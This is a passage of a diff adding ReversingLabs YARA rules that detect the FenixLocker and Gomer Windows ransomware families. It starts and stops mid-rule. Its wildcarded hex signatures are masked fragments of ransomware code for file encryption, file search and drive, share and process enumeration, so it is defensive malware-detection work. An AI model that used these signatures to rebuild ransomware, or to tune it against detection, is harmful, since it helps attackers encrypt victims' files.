+            48 89 5C 24 ?? 8B 5C 24 ?? 48 89 7C 24 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 0D ??
+            ?? ?? ?? 4C 8D 43 ?? BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 48 8B
+            4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 66 0F
+            1F 44 00 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ??
+            48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B
+            5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C7 48 8D 54 24 ?? FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 48 8B 0D ?? ?? ?? ?? 4C 8B C7 33 D2 FF 15 ?? ?? ?? ?? 48 8B 4C 24 ??
+            FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 5C 24 ?? 48 83 C4 ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_shares) and ($enum_procs) and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Fenixlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects FenixLocker ransomware."
+		author = "ReversingLabs"
+		id = "4868ced4-885d-548c-993c-ae25ab188172"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.FenixLocker.yara#L1-L143"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "72712616df2c73c5c17696a7c5cb93f767910acf5f49cda27373fccfa29c5a4d"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "FenixLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_1 = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B F1 E8 ?? ?? ?? ?? 83 C4
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D 85 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B F8
+            6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 72 ?? 8B 36 FF B5 ?? ?? ?? ?? 56 57 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 57 6A ?? 6A ?? 6A ?? FF
+            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
+            E5 5D C3 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 01 8B C7 8B 4D ?? 5F 33 CD 5E E8 ??
+            ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files_2 = {
+            B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75
+            ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ??
+            F6 85 ?? ?? ?? ?? ?? 8D 55 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ??
+            8B F8 C6 45 ?? ?? 8B 4D ?? 8B 55 ?? 41 3B D1 77 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 55
+            ?? 8B 4D ?? 4A 8B 45 ?? 23 CA 03 C1 89 4D ?? 8B 4D ?? 23 D0 83 3C 91 ?? 8D 34 95 ??
+            ?? ?? ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 89 04 31 8B 4D ?? 8B 0C 31 85
+            C9 74 ?? 57 E8 ?? ?? ?? ?? FF 45 ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40
+            3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B
+            C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83
+            C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
+            ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ??
+            ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F
+            87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ??
+            ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ??
+            0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ??
+            ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ??
+            72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F
+            83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? 8B C2 83 C8 ?? 83 79 ??
+            ?? 0F 45 C2 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ??
+            ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files_3 = {
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4
+            ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ??
+            72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F
+            82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F
+            84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ??
+            83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ??
+            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
+            ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
+            8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D
+            45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            46 EB ?? 85 F6 75 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 45 F0 89 B5 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 40 3D ?? ?? ??
+            ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B
+            C8 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8
+        }
+		$encrypt_files_4 = {
+            8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45
+            ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72
+            ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 40 ??
+            F6 84 05 ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ??
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D
+            41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83
+            7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50
+        }
+		$encrypt_files_5 = {
+            FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
+            ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ??
+            ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
+            E5 5D C3 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ??
+            ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF
+            B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7
+            45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ??
+            ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 46 89 B5 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ??
+            40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ??
+            ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? E9
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($encrypt_files_1 and $encrypt_files_2 and $encrypt_files_3) or ($encrypt_files_1 and $encrypt_files_4 and $encrypt_files_5)
+}
+rule REVERSINGLABS_Win32_Ransomware_Gomer : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Gomer ransomware."
+		author = "ReversingLabs"
+		id = "b76ac856-2abe-531d-b093-461569b9afb7"
+		date = "2020-10-08"
+		modified = "2020-10-08"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Gomer.yara#L1-L106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a53d37fcb877a12a4969a6ea1aaa67fc4106c3fbdd80a4fd39ad5a66a9df47fc"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Gomer"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
+            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
+            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
+            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
+            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
+            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
+            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
+            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
+        }
+		$find_files_p2 = {
+            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
+            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
+            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
+            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
+            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
+            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
+            83 C4 ?? E9
+        }
+		$encrypt_files = {
+            55 8B EC 51 8B 45 ?? 53 56 57 8B F9 8B 4F ?? 89 4D ?? 3B C1 77 ?? 8B DF 83 F9 ?? 72
+            ?? 8B 1F 8D 34 00 89 47 ?? 56 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 1E
+            8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F0 83 CE ?? 81
+            FE ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B D1 B8 ?? ?? ?? ?? D1 EA 2B C2 3B C8 76
+            ?? BE ?? ?? ?? ?? EB ?? 8D 04 0A 3B F0 0F 42 F0 8D 46 ?? 8D 0C 00 3D ?? ?? ?? ?? 76
+            ?? 83 C9 ?? EB ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 83 CA ?? 3B C1 0F 46 C2 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 58 ?? 83 E3 ?? 89 43 ?? EB ?? 85 C9 74 ?? 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B D8 EB ?? 33 DB 8B 45 ?? 89 77 ?? 89 47 ?? 8D 34 00 56 FF 75 ??
+            53 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 66 89 04 1E 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ??
+            ?? ?? 8B 07 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ??
+            8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1F 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? CC CC CC CC CC B8 ?? ?? ?? ?? C3
+        }
+		$enum_drives_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? 33 C0 C7
+            45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6
+            45 ?? ?? BF ?? ?? ?? ?? 8D 45 ?? 0F A3 38 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D
+            47 ?? 0F 43 4D ?? 66 89 01 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83
+            F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 66 89 4D ?? C6 45 ?? ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ??
+            83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ??
+            ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE C6 45 ?? ?? F7 E9 83 C4 ?? C1 FA ?? 8B DA C1 EB
+            ?? 03 DA 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
+            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
+            ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ??
+            ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE 89 7D ?? F7 E9 83 C4 ?? 89 5D ?? C1 FA ?? 8D 4D
+        }
+		$enum_drives_p2 = {
+            8B C2 C1 E8 ?? 03 C2 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? FF 75
+            ?? 50 51 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B
+            4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 FF ?? 0F 8C ??
